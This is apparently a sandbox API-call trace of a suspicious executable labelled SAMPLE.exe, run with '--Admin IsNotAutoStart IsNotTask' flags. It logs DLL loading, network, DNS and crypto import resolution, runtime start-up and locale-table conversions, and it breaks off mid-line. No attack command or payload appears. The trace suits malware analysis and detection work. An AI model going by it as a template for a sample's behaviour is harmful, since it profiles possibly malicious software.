[0044.094] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0044.094] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0044.094] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0044.094] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0044.094] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0044.094] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0044.094] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0044.094] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0044.094] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0044.095] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0044.095] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0044.095] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0044.095] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0044.095] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74a90000 [0044.099] GetProcAddress (hModule=0x74a90000, lpProcName="GetAdaptersInfo") returned 0x74a99263 [0044.099] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0044.100] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0044.100] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0044.101] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0044.101] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x749c0000 [0044.105] GetProcAddress (hModule=0x749c0000, lpProcName="DnsQuery_W") returned 0x749d572c [0044.105] GetProcAddress (hModule=0x749c0000, lpProcName="DnsFree") returned 0x749c436b [0044.105] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0044.105] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0044.105] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0044.111] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0044.111] atexit (param_1=0xdacdf2) returned 0 [0044.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fe48 | out: lpSystemTimeAsFileTime=0x18fe48*(dwLowDateTime=0x3bd06e80, dwHighDateTime=0x1d53dff)) [0044.111] GetCurrentThreadId () returned 0x9a8 [0044.111] GetCurrentProcessId () returned 0x9a4 [0044.111] QueryPerformanceCounter (in: lpPerformanceCount=0x18fe40 | out: lpPerformanceCount=0x18fe40*=16433537186) returned 1 [0044.111] GetStartupInfoW (in: lpStartupInfo=0x18fdd8 | out: lpStartupInfo=0x18fdd8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0044.111] GetProcessHeap () returned 0xd50000 [0044.111] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0044.112] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0044.112] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0044.112] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0044.112] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0044.112] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0044.112] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0044.113] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0044.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0044.115] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0044.115] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0044.115] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0044.115] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3bc) returned 0xdfe580 [0044.115] GetCurrentThreadId () returned 0x9a8 [0044.115] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x18) returned 0xd660d0 [0044.115] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x800) returned 0xdfe948 [0044.115] GetStartupInfoW (in: lpStartupInfo=0x18fda8 | out: lpStartupInfo=0x18fda8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xe986b38e, hStdError=0x0)) [0044.115] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0044.115] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0044.115] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0044.115] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask" [0044.115] GetEnvironmentStringsW () returned 0xdff150* [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xaca) returned 0xdffc28 [0044.116] FreeEnvironmentStringsW (penv=0xdff150) returned 1 [0044.116] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x5e [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x114) returned 0xe00700 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x98) returned 0xe00820 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3e) returned 0xd66870 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x6c) returned 0xe008c0 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x6e) returned 0xe00938 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x78) returned 0xd61b88 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x62) returned 0xe009b0 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2e) returned 0xdfac38 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x48) returned 0xdf68d0 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x28) returned 0xdfa500 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1a) returned 0xdfe2f8 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x4a) returned 0xe00a20 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x72) returned 0xd61c08 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xdfac70 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2e) returned 0xdfaca8 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1c) returned 0xdfe320 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0xd2) returned 0xe00a78 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x7c) returned 0xe00b58 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x36) returned 0xe00be0 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3a) returned 0xd668b8 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x90) returned 0xe00c20 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x24) returned 0xdfa530 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xdface0 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x36) returned 0xe00cb8 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x48) returned 0xdf6920 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x52) returned 0xe00cf8 [0044.116] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3c) returned 0xd66900 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x82) returned 0xe00d58 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2e) returned 0xdfad18 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1e) returned 0xdff168 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2c) returned 0xdfad50 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x54) returned 0xe00de8 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x52) returned 0xe00e48 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2a) returned 0xdfad88 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3c) returned 0xd66948 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x54) returned 0xe00ec0 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x24) returned 0xdfa560 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xdfadc0 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8c) returned 0xe01ea8 [0044.117] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xdffc28 | out: hHeap=0xd50000) returned 1 [0044.117] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xe01f40 [0044.117] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] GetACP () returned 0x4e4 [0044.118] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x220) returned 0xdf0888 [0044.118] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] IsValidCodePage (CodePage=0x4e4) returned 1 [0044.118] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd9c | out: lpCPInfo=0x18fd9c) returned 1 [0044.118] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f864 | out: lpCPInfo=0x18f864) returned 1 [0044.118] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0044.118] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f878 | out: lpCharType=0x18f878) returned 1 [0044.118] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0044.118] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0044.118] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f3a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0044.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb78, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xfe\xb0\x86\xe9\xb4\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0044.118] GetLastError () returned 0x0 [0044.118] SetLastError (dwErrCode=0x0) [0044.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0044.119] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0044.119] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f3b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 